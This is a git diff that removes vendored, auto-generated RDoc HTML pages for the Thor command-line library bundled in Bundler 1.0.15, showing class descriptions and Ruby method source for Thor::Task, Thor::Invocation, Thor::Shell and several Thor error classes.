-103:       <span class="ruby-keyword kw">super</span>(<span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-value str">&quot;A dynamically-generated task&quot;</span>, <span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-identifier">options</span>)
-104:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="run-method" class="method-detail ">
-				<a name="method-i-run"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">run</span><span
-						class="method-args">(instance, args=[])</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="run-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 106</span>
-106:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">run</span>(<span class="ruby-identifier">instance</span>, <span class="ruby-identifier">args</span>=[])
-107:       <span class="ruby-keyword kw">if</span> (<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">methods</span> &amp; [<span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_s</span>, <span class="ruby-identifier">name</span>.<span class="ruby-identifier">to_sym</span>]).<span class="ruby-identifier">empty?</span>
-108:         <span class="ruby-keyword kw">super</span>
-109:       <span class="ruby-keyword kw">else</span>
-110:         <span class="ruby-identifier">instance</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">handle_no_task_error</span>(<span class="ruby-identifier">name</span>)
-111:       <span class="ruby-keyword kw">end</span>
-112:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Error.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Error.html
deleted file mode 100644
index c4e04580..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Error.html
+++ /dev/null
@@ -1,341 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::Error</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-	<script src="../js/darkfish.js" type="text/javascript"
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-          <a href="../index.html">Home</a>
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-        </h3>
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-
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-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
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-					<ul>
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-						<li><a href="../lib/bundler/vendor/thor/error_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">StandardError</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
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-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
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-				<h3 class="section-header">Files</h3>
-				<ul>
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-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
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-				
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-				
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-				
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-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
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-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Thor::Error</h1>
-
-		<div id="description">
-			<p>
-<a href="Error.html">Thor::Error</a> is raised when it&#8217;s caused by
-wrong usage of thor classes. Those errors have their backtrace supressed
-and are nicely shown to the user.
-</p>
-<p>
-Errors that are caused by the developer, like declaring a method which
-overwrites a thor keyword, it SHOULD NOT raise a <a
-href="Error.html">Thor::Error</a>. This way, we ensure that developer
-errors are shown with full backtrace.
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
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-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/HiddenTask.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/HiddenTask.html
deleted file mode 100644
index 80418cd8..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/HiddenTask.html
+++ /dev/null
@@ -1,382 +0,0 @@
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-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::HiddenTask</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/vendor/thor/task_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/task.rb">lib/bundler/vendor/thor/task.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="Task.html">Thor::Task</a></p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-hidden%3F">#hidden?</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
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-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
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-				
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-			</div>
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-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
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-				
-					<li><a href="../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
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-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
-				
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
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-				
-					<li><a href="../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Invocation.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Invocation.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Invocation.html
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-				<ul class="link-list">
-					
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-					
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-			
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-			<!-- Method Quickref -->
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-invoke">#invoke</a></li>
-					
-					<li><a href="#method-i-invoke_with_padding">#invoke_with_padding</a></li>
-					
-				</ul>
-			</div>
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-
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-				<a name="method-i-invoke"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">invoke</span><span
-						class="method-args">(name=nil, *args)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a name and invokes it. The name can be a string (either
-&#8220;task&#8221; or &#8220;namespace:task&#8221;), a <a
-href="Task.html">Thor::Task</a>, a Class or a <a
-href="../Thor.html">Thor</a> instance. If the task cannot be guessed by
-name, it can also be supplied as second argument.
-</p>
-<p>
-You can also supply the arguments, options and configuration values for the
-task to be invoked, if none is given, the same values used to initialize
-the invoker are used to initialize the invoked.
-</p>
-<p>
-When no name is given, it will invoke the default task of the current
-class.
-</p>
-<h4>Examples</h4>
-<pre>
-  class A &lt; Thor
-    def foo
-      invoke :bar
-      invoke &quot;b:hello&quot;, [&quot;José&quot;]
-    end
-
-    def bar
-      invoke &quot;b:hello&quot;, [&quot;José&quot;]
-    end
-  end
-
-  class B &lt; Thor
-    def hello(name)
-      puts &quot;hello #{name}&quot;
-    end
-  end
-</pre>
-<p>
-You can notice that the method &#8220;foo&#8221; above invokes two tasks:
-&#8220;bar&#8221;, which belongs to the same class and &#8220;hello&#8221;
-which belongs to the class B.
-</p>
-<p>
-By using an invocation system you ensure that a task is invoked only once.
-In the example above, invoking &#8220;foo&#8221; will invoke
-&#8220;b:hello&#8221; just once, even if it&#8217;s invoked later by
-&#8220;bar&#8221; method.
-</p>
-<p>
-When class A invokes class B, all arguments used on A initialization are
-supplied to B. This allows lazy parse of options. Let&#8217;s suppose you
-have some rspec tasks:
-</p>
-<pre>
-  class Rspec &lt; Thor::Group
-    class_option :mock_framework, :type =&gt; :string, :default =&gt; :rr
-
-    def invoke_mock_framework
-      invoke &quot;rspec:#{options[:mock_framework]}&quot;
-    end
-  end
-</pre>
-<p>
-As you noticed, it invokes the given mock framework, which might have its
-own options:
-</p>
-<pre>
-  class Rspec::RR &lt; Thor::Group
-    class_option :style, :type =&gt; :string, :default =&gt; :mock
-  end
-</pre>
-<p>
-Since it&#8217;s not rspec concern to parse mock framework options, when RR
-is invoked all options are parsed again, so RR can extract only the options
-that it&#8217;s going to use.
-</p>
-<p>
-If you want Rspec::RR to be initialized with its own set of options, you
-have to do that explicitely:
-</p>
-<pre>
-  invoke &quot;rspec:rr&quot;, [], :style =&gt; :foo
-</pre>
-<p>
-Besides giving an instance, you can also give a class to invoke:
-</p>
-<pre>
-  invoke Rspec::RR, [], :style =&gt; :foo</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="invoke-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/invocation.rb, line 96</span>
- 96:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">invoke</span>(<span class="ruby-identifier">name</span>=<span class="ruby-keyword kw">nil</span>, *<span class="ruby-identifier">args</span>)
- 97:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">name</span>.<span class="ruby-identifier">nil?</span>
- 98:         <span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;[Thor] Calling invoke() without argument is deprecated. Please use invoke_all instead.\n#{caller.join(&quot;\n&quot;)}&quot;</span>
- 99:         <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">invoke_all</span>
-100:       <span class="ruby-keyword kw">end</span>
-101: 
-102:       <span class="ruby-identifier">args</span>.<span class="ruby-identifier">unshift</span>(<span class="ruby-keyword kw">nil</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Array</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">||</span> <span class="ruby-constant">NilClass</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span>
-103:       <span class="ruby-identifier">task</span>, <span class="ruby-identifier">args</span>, <span class="ruby-identifier">opts</span>, <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>
-104: 
-105:       <span class="ruby-identifier">klass</span>, <span class="ruby-identifier">task</span> = <span class="ruby-identifier">_retrieve_class_and_task</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">task</span>)
-106:       <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Expected Thor class, got #{klass}&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">klass</span> <span class="ruby-operator">&lt;=</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>
-107: 
-108:       <span class="ruby-identifier">args</span>, <span class="ruby-identifier">opts</span>, <span class="ruby-identifier">config</span> = <span class="ruby-identifier">_parse_initialization_options</span>(<span class="ruby-identifier">args</span>, <span class="ruby-identifier">opts</span>, <span class="ruby-identifier">config</span>)
-109:       <span class="ruby-identifier">klass</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:dispatch</span>, <span class="ruby-identifier">task</span>, <span class="ruby-identifier">args</span>, <span class="ruby-identifier">opts</span>, <span class="ruby-identifier">config</span>)
-110:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="invoke-with-padding-method" class="method-detail ">
-				<a name="method-i-invoke_with_padding"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">invoke_with_padding</span><span
-						class="method-args">(*args)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Invokes using shell padding.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="invoke-with-padding-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/invocation.rb, line 128</span>
-128:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">invoke_with_padding</span>(*<span class="ruby-identifier">args</span>)
-129:       <span class="ruby-identifier">with_padding</span> { <span class="ruby-identifier">invoke</span>(*<span class="ruby-identifier">args</span>) }
-130:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Invocation/ClassMethods.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Invocation/ClassMethods.html
deleted file mode 100644
index 611c9304..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Invocation/ClassMethods.html
+++ /dev/null
@@ -1,323 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Thor::Invocation::ClassMethods</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
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-		charset="utf-8"></script>
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-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
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-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/vendor/thor/invocation_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/invocation.rb">lib/bundler/vendor/thor/invocation.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
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-
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-			
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-			
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-			
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
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-				
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-					<span class="search-toggle"><img src="../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
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-		<h1 class="module">Thor::Invocation::ClassMethods</h1>
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-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/InvocationError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/InvocationError.html
deleted file mode 100644
index 7aa37bbd..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/InvocationError.html
+++ /dev/null
@@ -1,333 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-<body class="class">
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-        </h3>
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-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
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-						<li><a href="../lib/bundler/vendor/thor/error_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-			<!-- Parent Class -->
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-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="Error.html">Thor::Error</a></p>
-				
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-				
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
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-	<div id="documentation">
-		<h1 class="class">Thor::InvocationError</h1>
-
-		<div id="description">
-			<p>
-Raised when a task was found, but not invoked properly.
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/MalformattedArgumentError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/MalformattedArgumentError.html
deleted file mode 100644
index 87f60664..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/MalformattedArgumentError.html
+++ /dev/null
@@ -1,330 +0,0 @@
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::MalformattedArgumentError</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
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-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
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-
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-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/vendor/thor/error_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/error.rb">lib/bundler/vendor/thor/error.rb</a></li>
-					
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-				</div>
-			</div>
-
-			
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-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
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-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="InvocationError.html">Thor::InvocationError</a></p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
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-			<!-- Method Quickref -->
-			
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-			<!-- Included Modules -->
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-		</div>
-
-		<div id="project-metadata">
-			
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
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-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
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-				
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-				
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-				
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-				
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-					<li><a href="../Bundler/Source/Git.html">Bundler::Source::Git</a></li>
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deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/RequiredArgumentMissingError.html
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deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Shell.html
+++ /dev/null
@@ -1,548 +0,0 @@
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-		<h1 class="module">Thor::Shell</h1>
-
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-			
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-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
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-				
-				<dd class="description"></dd>
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-		
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-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(args=[], options={}, config={})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Add shell to initialize config values.
-</p>
-<h4>Configuration</h4>
-<table>
-<tr><td valign="top">shell<Object></td><td><p>
-An instance of the shell to be used.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  class MyScript &lt; Thor
-    argument :first, :type =&gt; :numeric
-  end
-
-  MyScript.new [1.0], { :foo =&gt; :bar }, :shell =&gt; Thor::Shell::Basic.new</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell.rb, line 45</span>
-45:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">args</span>=[], <span class="ruby-identifier">options</span>={}, <span class="ruby-identifier">config</span>={})
-46:       <span class="ruby-keyword kw">super</span>
-47:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">shell</span> = <span class="ruby-identifier">config</span>[<span class="ruby-value">:shell</span>]
-48:       <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">shell</span>.<span class="ruby-identifier">base</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">self</span> <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">shell</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:base</span>)
-49:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="shell-method" class="method-detail ">
-				<a name="method-i-shell"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">shell</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Holds the shell for the given <a href="../Thor.html">Thor</a> instance. If
-no shell is given, it gets a default shell from Thor::Base.shell.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="shell-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/shell.rb, line 53</span>
-53:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shell</span>
-54:       <span class="ruby-ivar">@shell</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">shell</span>.<span class="ruby-identifier">new</span>
-55:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="shell--method" class="method-detail ">
-				<a name="method-i-shell%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">shell=</span><span
-						class="method-args">(shell)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Sets the shell for this thor class.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="shell--source">
